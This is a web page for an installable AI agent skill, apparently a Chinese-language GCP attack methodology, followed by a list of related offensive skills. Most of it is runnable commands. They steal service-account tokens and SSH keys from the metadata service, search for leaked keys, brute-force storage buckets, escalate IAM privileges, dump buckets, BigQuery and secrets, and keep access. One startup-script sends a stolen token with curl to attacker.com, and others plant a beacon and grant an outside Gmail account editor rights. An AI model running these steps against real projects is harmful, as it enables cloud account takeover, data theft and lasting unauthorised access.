gcp-exploit

$npx mdskill add wgpsec/AboutSecurity/gcp-exploit

Steal GCP credentials and escalate privileges via metadata and IAM.

  • Extract service account tokens and SSH keys from metadata service.
  • Exploit IAM inheritance flaws to gain elevated cluster permissions.
  • Enumerate storage buckets and discover leaked private keys in code.
  • Execute lateral movement from compromised instances to GKE clusters.

SKILL.md

.github/skills/gcp-exploitView on GitHub ↗
---
name: gcp-exploit
description: "GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举"
metadata:
  tags: "gcp,google cloud,service account,metadata,iam,gke,bucket,云攻击,GCP提权"
  category: "cloud"
  mitre_attack: "T1078.004,T1552.005,T1530,T1611"
---

# GCP 云环境攻击方法论

> **与 AWS 的区别**:GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径

## ⛔ 深入参考

- GCP IAM 提权路径详解 → [references/gcp-iam-privesc.md](references/gcp-iam-privesc.md)
- GKE 攻击与逃逸 → [references/gke-attack.md](references/gke-attack.md)

---

## Phase 1: 初始访问与信息收集

### 1.1 Metadata 服务利用(SSRF → GCP 凭据)

```bash
# GCP Metadata 端点(无需特殊 header,不像 AWS IMDSv2)
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/

# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# 获取项目信息
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
```

### 1.2 Service Account 密钥发现

```bash
# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;

# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露
```

### 1.3 Bucket 枚举

```bash
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME

# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
  echo "$prefix: $status"
done

# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt
```

## Phase 2: 认证与权限确认

```bash
# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json

# 或使用 access token
gcloud config set auth/access_token_file /tmp/token.txt

# 确认身份
gcloud auth list
gcloud config get-value project

# 枚举权限
# 列出当前 SA 的 IAM 角色
gcloud projects get-iam-policy $(gcloud config get-value project) \
  --flatten="bindings[].members" \
  --filter="bindings.members:$(gcloud config get-value account)"

# 测试具体权限
gcloud asset search-all-iam-policies --query="policy:roles/owner"
```

## Phase 3: IAM 提权

### 3.1 常见提权路径

```
GCP IAM 提权路径:
├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥
├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token
├─ iam.serviceAccounts.implicitDelegation → 链式委托
├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA
├─ iam.serviceAccounts.signJwt → 直接签署 JWT
├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源
├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行
├─ compute.instances.create → 创建 VM 挂载高权限 SA
├─ run.services.create → 创建 Cloud Run 挂载 SA
└─ orgpolicy.policy.set → 修改组织策略
```

### 3.2 利用示例

```bash
# 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create /tmp/key.json \
  --iam-account=high-priv-sa@project.iam.gserviceaccount.com

# 2. 获取其他 SA 的 Token(如果有 getAccessToken)
gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com

# 3. 通过 Cloud Function 提权
gcloud functions deploy privesc \
  --runtime python39 \
  --trigger-http \
  --service-account=high-priv-sa@project.iam.gserviceaccount.com \
  --source=./malicious-function/
# 函数代码中以 high-priv SA 身份执行操作

# 4. 通过 Compute Instance 提权
gcloud compute instances create privesc-vm \
  --service-account=high-priv-sa@project.iam.gserviceaccount.com \
  --scopes=cloud-platform \
  --metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'
```

## Phase 4: 数据访问

```bash
# Storage Bucket 操作
gsutil ls gs://                               # 列出所有 bucket
gsutil ls -r gs://target-bucket/              # 递归列出文件
gsutil cp gs://bucket/secret.txt ./           # 下载文件
gsutil cp -r gs://bucket/ ./local-dump/       # 下载全部

# BigQuery 数据导出
bq ls                                          # 列出 datasets
bq ls project:dataset                         # 列出 tables
bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100"
bq extract project:dataset.table gs://bucket/export.csv

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=db-password

# Firestore/Datastore
gcloud firestore export gs://bucket/firestore-dump
```

## Phase 5: 持久化

```bash
# 1. 创建新 SA 密钥(最常见)
gcloud iam service-accounts keys create backdoor.json \
  --iam-account=existing-sa@project.iam.gserviceaccount.com

# 2. 授予外部账户权限
gcloud projects add-iam-policy-binding PROJECT \
  --member='user:attacker@gmail.com' --role='roles/editor'

# 3. 创建 Cloud Function 定时回连
# 通过 Cloud Scheduler 触发 → 定时 beacon

# 4. Compute Engine startup-script 持久化
gcloud compute instances add-metadata INSTANCE \
  --metadata=startup-script='curl https://attacker.com/beacon'
```

## 工具速查

| 工具 | 用途 |
|------|------|
| gcloud CLI | GCP 官方工具 |
| GCPBucketBrute | Bucket 枚举 |
| ScoutSuite | 多云安全审计 |
| Prowler | GCP 安全检查 |
| GCP IAM Privilege Escalation | 提权检查工具 |
| Hayat | GCP 攻击框架 |

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|